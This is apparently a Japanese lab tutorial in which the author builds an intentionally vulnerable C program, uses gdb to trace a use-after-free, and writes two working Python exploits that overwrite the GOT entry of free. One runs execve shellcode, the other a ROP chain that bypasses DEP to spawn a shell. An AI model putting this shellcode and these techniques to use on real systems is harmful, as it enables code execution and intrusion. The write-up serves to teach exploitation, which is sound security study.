use-after-freeによるGOT overwriteをやってみる

ヒープ領域に関連する脆弱性には、ヒープオーバーフローのほかにuse-after-freeと呼ばれるものがある。 これは、意図しない条件分岐などから発生するプログラムの不整合により解放済みのヒープメモリアドレスが参照される状況が存在する場合、任意のコード実行が可能になるというものである。 ここでは簡単なプログラムを用い、use-after-freeによるシェル起動をやってみる。 また、DEPが有効な状況におけるシェル起動についても合わせてやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、use-after-free脆弱性のあるプログラムコードを書く。

/* uaf.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct Box {
    int size;
    char *buf;
};

struct Box *create_box(int size)
{
    struct Box *box;
    box = malloc(sizeof(struct Box));
    box->size = size;
    box->buf = malloc(size);
    return box;
}

void free_box(struct Box *box)
{
    free(box->buf);
    free(box);
}

int main(int argc, char *argv[])
{
    struct Box *box;
    int size;
    char *newbuf;

    box = create_box(100);
    printf("[+] box = %p\n", box);
    strncpy(box->buf, argv[1], 100);
    printf("[+] box->buf = %p\n", box->buf);
    free_box(box);

    size = atoi(argv[2]);
    newbuf = malloc(size);
    printf("[+] newbuf = %p\n", newbuf);
    strncpy(newbuf, argv[3], size);

    strncpy(box->buf, argv[4], 100);

    free(newbuf);
    return 0;
}

このコードでは、free_box関数内で解放されたbox->bufが、strncpy関数により再度参照されている。 また、その間にサイズを自由に指定可能なnewbufが新たに確保され、任意のデータを書き込めるようになっている。

ASLR、DEP無効、SSP有効としてコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -z execstack uaf.c

$ ./a.out AAAA 100 BBBB CCCC
[+] box = 0x804b008
[+] box->buf = 0x804b018
[+] newbuf = 0x804b018

newbufのサイズを100としたとき、解放されたbox->bufと同じアドレスにnewbufが確保されていることがわかる。

gdbでメモリの状態を調べてみる

次にnewbufのサイズを8に変え、gdbで動作を調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) r AAAABBBB 8 CCCCDDDD EEEEFFFF
Starting program: /home/user/tmp/a.out AAAABBBB 8 CCCCDDDD EEEEFFFF
[+] box = 0x804b008
[+] box->buf = 0x804b018
[+] newbuf = 0x804b008

Program received signal SIGSEGV, Segmentation fault.
0xb7eb1977 in ?? () from /lib/i386-linux-gnu/libc.so.6

newbufのサイズを8にすると、解放されたboxと同じアドレスにnewbufが確保された後、セグメンテーション違反で落ちる。 このとき、newbufのサイズが解放されたboxのサイズ以下であることから、newbufの領域としてboxが置かれていた領域が再利用されている。 ヒープでどのようにメモリが割り当てられるかは確定的に決まるため、この結果は何回実行しても同じである。

main関数のどの部分で落ちているのか、さらに調べてみる。

(gdb) bt
#0  0xb7eb1977 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0x080485ef in main ()
(gdb) up
#1  0x080485ef in main ()
(gdb) disas
Dump of assembler code for function main:
   ...
   0x080485db <+225>:   mov    DWORD PTR [esp+0x8],0x64
   0x080485e3 <+233>:   mov    DWORD PTR [esp+0x4],edx
   0x080485e7 <+237>:   mov    DWORD PTR [esp],eax
   0x080485ea <+240>:   call   0x80483d0 <strncpy@plt>
=> 0x080485ef <+245>:   mov    eax,DWORD PTR [esp+0x1c]
   0x080485f3 <+249>:   mov    DWORD PTR [esp],eax
   0x080485f6 <+252>:   call   0x8048390 <free@plt>
   ...
End of assembler dump.
(gdb) x/4wx $esp
0xbffff710:     0x44444444      0xbffff921      0x00000064      0xb7e5c225
(gdb) x/s 0xbffff921
0xbffff921:      "EEEEFFFF"
(gdb) x/20wx 0x804b008
0x804b008:      0x43434343      0x44444444      0x00000000      0x00020ff1
0x804b018:      0x41414141      0x42424242      0x00000000      0x00000000
0x804b028:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b038:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b048:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) quit
A debugging session is active.

        Inferior 1 [process 2598] will be killed.

Quit anyway? (y or n) y

main関数におけるEIPの位置とスタックの状態から、strcpy関数で0x44444444 (DDDD) に "EEEEFFFF" を書き込もうとして落ちていることがわかる。 さらに、元々boxが置かれていたアドレス付近にあるメモリ内容を調べてみると、box->bufを指すポインタが置かれていた箇所が新たに確保したnewbufで上書きされている。 この結果から、DDDDの代わりに書き込み先アドレス、EEEEFFFFの代わりに書き込みたい文字列をセットすることで、任意のアドレスのメモリ書き換えができることがわかる。

このように、あるサイズのメモリ領域が解放された後、そのサイズと同程度のメモリ領域を確保し続けると、そのうち同じ領域が再利用されることになる。 これを利用して、use-after-free脆弱性により解放済みメモリが参照される箇所を差し替えておくことで、任意のメモリアドレスの書き換えが可能になる場合がある。 また、freeした後解放済みのメモリアドレスを指しているポインタ変数はdangling pointerと呼ばれる。 dangleは「ぶらさがる」という意味である。

この攻撃を行うには、適当なタイミングで任意のサイズのバッファを新たに確保できる必要がある。 このような状況は、Webブラウザなどスクリプトエンジンを介してある程度自由にメモリの確保が行える場合において成立する。

エクスプロイトコードを書いてみる

上の内容をもとに、free関数のGOTアドレスを書き換えシェルコードを実行するエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

addr_box_buf = int(sys.argv[1], 16)

# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'

addr_got_free = 0x804a004  # objdump -d -j.plt a.out

box_buf1 = shellcode

size_newbuf = 8
newbuf = 'AAAA'
newbuf += struct.pack('<I', addr_got_free)

box_buf2 = struct.pack('<I', addr_box_buf)

p = Popen(['./a.out', box_buf1, str(size_newbuf), newbuf, box_buf2])
p.wait()

このコードはシェルコードが置かれるbox->bufのアドレスを引数に取る。

引数にアドレスをセットし、実行してみる。

$ python exploit.py 0x804b018
[+] box = 0x804b008
[+] box->buf = 0x804b018
[+] newbuf = 0x804b008
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

free関数のGOTアドレスがシェルコードのアドレスに書き変わり、シェルが起動することが確認できた。

DEPを回避するエクスプロイトコードを書いてみる

次に、DEPが有効な状況においてROPによりシェルを起動するエクスプロイトコードを書いてみる。 GOT書き換え後のfree関数の第一引数はnewbufであり、ディスアセンブル結果も合わせて読むと関数呼び出し時eaxレジスタにはnewbufのアドレスが入っていることがわかる。 このときのメモリの状態を整理すると次のようになる。

0x804b008:
      0xXXXXXXXX  <- newbuf = eax
      0x0804a004  (pointer of free in GOT table)
      0x00000000
      0x00020ff1
0x804b018:
      0xYYYYYYYY  <- box->buf
      0xYYYYYYYY
      0xYYYYYYYY
      0xYYYYYYYY

これをもとに、xchg eax, espによるstack pivotを行った後、pop命令を3回実行しbox->bufのある位置までespを進め、そこからsystem関数を呼び出しシェルを起動するエクスプロイトコードを書くと次のようになる。

# exploit2.py
import sys
import struct
from subprocess import Popen

base_libc = int(sys.argv[1], 16)

addr_got_free = 0x804a004                  # objdump -d -j.plt a.out
addr_libc_pivot_eax = base_libc + 0x9b8c9  # search "xchg esp,eax" by list_gadgets.py
addr_libc_pop3ret = base_libc + 0xf3acf    # search "pop" by list_gadgets.py
addr_libc_system = base_libc + 0x0003f430  # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
addr_libc_exit = base_libc + 0x00032fb0    # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit"
addr_libc_binsh = base_libc + 0x161d98     # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"

box_buf1 = struct.pack('<I', addr_libc_system)
box_buf1 += struct.pack('<I', addr_libc_exit)
box_buf1 += struct.pack('<I', addr_libc_binsh)

size_newbuf = 8
newbuf = struct.pack('<I', addr_libc_pop3ret)
newbuf += struct.pack('<I', addr_got_free)

box_buf2 = struct.pack('<I', addr_libc_pivot_eax)

p = Popen(['./a.out', box_buf1, str(size_newbuf), newbuf, box_buf2])
p.wait()

このコードはlibcのベースアドレスを引数に取る。

ASLR無効、DEPSSP有効でコンパイルし直し、libcのベースアドレスをセットしてエクスプロイトコードを実行してみる。 ここで、libcのベースアドレスはgdbなどを利用して調べる。

$ gcc uaf.c

$ python exploit.py 0x804b018
[+] box = 0x804b008
[+] box->buf = 0x804b018
[+] newbuf = 0x804b008

$ python exploit2.py 0xb7e29000
[+] box = 0x804b008
[+] box->buf = 0x804b018
[+] newbuf = 0x804b008
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

DEPが有効な条件下で、シェルコードの実行が失敗すること、その一方でROPによるシェル起動ができていることが確認できた。

関連リンク